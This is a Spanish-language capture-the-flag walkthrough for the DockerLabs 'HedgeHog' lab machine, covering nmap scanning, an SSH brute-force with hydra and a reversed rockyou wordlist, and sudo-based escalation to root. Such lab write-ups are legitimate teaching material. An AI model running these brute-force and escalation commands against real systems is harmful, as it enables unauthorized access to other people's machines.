> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-muy-facil/hedgehog.md).

# HedgeHog

### **1. Despliegue de la máquina**

#### **1.1. Descarga**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **HedgeHog** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.

#### **1.2. Descompresión**

Para extraer el contenido del archivo comprimido, utilizamos la herramienta `7z`:

```bash
7z x hedgehog.zip
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fo5ZC4SysK791lASmMbpo%2FPasted%20image%2020250629102639.png?alt=media&amp;token=6326f6bd-08c9-401a-96ed-89e06b806ab5" alt=""><figcaption></figcaption></figure>

#### **1.3. Ejecución**

Ejecutamos el script `auto_deploy.sh` para desplegar la máquina en Docker:

```bash
bash auto_deploy.sh hedgehog.tar
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FwR7y8SkKvdAZDD7XzaYZ%2FPasted%20image%2020250629102730.png?alt=media&amp;token=87b50c8a-f524-4738-87d7-264932d216e4" alt=""><figcaption></figcaption></figure>

### **2. Reconocimiento**

#### **2.1. Verificación de conectividad**

Comprobamos la conectividad con la máquina objetivo mediante el comando `ping`:

```bash
ping -c 1 172.17.0.2
```

El valor `TTL=64` indica que el sistema operativo es **Linux**.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FwXOOurGpDp0DIIiedNY1%2FPasted%20image%2020250629102909.png?alt=media&amp;token=f4dab92f-1866-40b6-832d-25cead2686c4" alt=""><figcaption></figcaption></figure>

#### **2.2. Escaneo de puertos**

Realizamos un escaneo con `nmap` para identificar puertos abiertos:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Resultados:**

* **Puerto 22:** SSH.
* **Puerto 80:** HTTP.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FMIJQD5keu7RDPwNCXW04%2FPasted%20image%2020250629102926.png?alt=media&amp;token=f046f9f8-0ffc-4bf4-b984-5cd34dbca191" alt=""><figcaption></figcaption></figure>

#### **2.3. Escaneo de servicios y versiones**

Para obtener más detalles sobre los servicios SSH y HTTP, vamos a realizar un escaneo más exhaustivo de los puertos 22 y 80:

```bash
nmap -p22,80 -sCV 172.17.0.2 -oN targeted
```

**Resultados:**

* **Puerto 22:** OpenSSH 9.6p1.
* **Puerto 80:** Apache httpd 2.4.58.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FjSYwfuFj5m7mVNwsPXXi%2FPasted%20image%2020250629102956.png?alt=media&amp;token=815e6c33-462f-45fd-8eb8-e8474bc97621" alt=""><figcaption></figcaption></figure>

#### **2.4. Análisis del servicio HTTP**

Al acceder al puerto 80 desde un navegador (`http://172.17.0.2`), podemos observar un nombre de usuario potencial `tails`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FXwwVT9GPgzSX0BS78haL%2FPasted%20image%2020250629103009.png?alt=media&amp;token=60dcac82-662f-49a9-992a-c9e9757d7d81" alt=""><figcaption></figcaption></figure>

### **3. Explotación**

#### **3.1. Fuerza bruta sobre SSH**

Utilizamos la herramienta `hydra` para realizar un ataque de fuerza bruta contra el servicio SSH. Para mejorar la eficacia, invertimos el diccionario `rockyou.txt` y eliminamos los espacios iniciales. Estas acciones las podemos realizar ejecutando los siguientes comandos:

```bash
tac /usr/share/wordlists/rockyou.txt > rockyou_invertido.txt
```

```bash
sed -i 's/ //g' rockyou_invertido.txt
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FIcTLsJYUL6O6HrB5fBNT%2FPasted%20image%2020250629103128.png?alt=media&amp;token=773b89c6-c3e1-480b-86ef-b8ac23f16908" alt=""><figcaption></figcaption></figure>

Ataque con `hydra`:

```bash
hydra -l tails -P rockyou_invertido.txt 172.17.0.2 ssh
```

**Resultado:** La contraseña para el usuario `tails` es `3117548331`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FemQENIYX6XGct84TTfzo%2FPasted%20image%2020250629103229.png?alt=media&amp;token=288c27cd-692d-4d77-bb70-781bb1499519" alt=""><figcaption></figcaption></figure>

#### **3.2. Acceso por SSH**

Iniciamos sesión en la máquina con las credenciales obtenidas:

```bash
ssh tails@172.17.0.2
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FNGC6tLl4nu1ogQy9OdBx%2FPasted%20image%2020250629103250.png?alt=media&amp;token=c4e1e55f-0cb7-4a43-b490-2a022287e48e" alt=""><figcaption></figcaption></figure>

### **4. Escalada de privilegios**

#### **4.1. Verificación de permisos sudo**

Comprobamos los permisos del usuario actual con:

```bash
sudo -l
```

**Resultado:**

```bash
(sonic) NOPASSWD: ALL
```

El usuario `tails` puede ejecutar cualquier comando como el usuario `sonic` sin proporcionar contraseña.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F4VVYmSoLVpv1VqGbs8lA%2FPasted%20image%2020250629103322.png?alt=media&amp;token=21ca3659-4b80-4c68-bdf1-a6d4474e069e" alt=""><figcaption></figcaption></figure>

#### **4.2. Escalada al usuario sonic**

Ejecutamos el siguiente comando para obtener una shell como el usuario `sonic`:

```bash
sudo -u sonic /bin/bash
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F3UdihbAFlQbaQsLRY4ki%2FPasted%20image%2020250629103402.png?alt=media&amp;token=9861b39f-473b-4391-8465-4c98463949e1" alt=""><figcaption></figcaption></figure>

#### **4.3. Verificación de permisos como sonic**

Volvemos a ejecutar `sudo -l` para verificar permisos.

**Resultado:**

```bash
(ALL) NOPASSWD: ALL
```

El usuario `sonic` puede ejecutar cualquier comando como `root` sin proporcionar contraseña.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fq1UFehp2xkKskgZwQDUX%2FPasted%20image%2020250629103425.png?alt=media&amp;token=30217ae5-9141-4fd2-8390-ac67b1e9ac22" alt=""><figcaption></figcaption></figure>

#### **4.4. Escalada a root**

Ejecutamos el siguiente comando para obtener una shell como el usuario `root`:

```bash
sudo -u root /bin/bash
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FdEQkMLRvnuyVLfW75co5%2FPasted%20image%2020250629103502.png?alt=media&amp;token=9018c0b8-30bd-4f5f-8c3b-315a2f97bdc6" alt=""><figcaption></figcaption></figure>

Con esto, damos por completada la máquina HedgeHog.
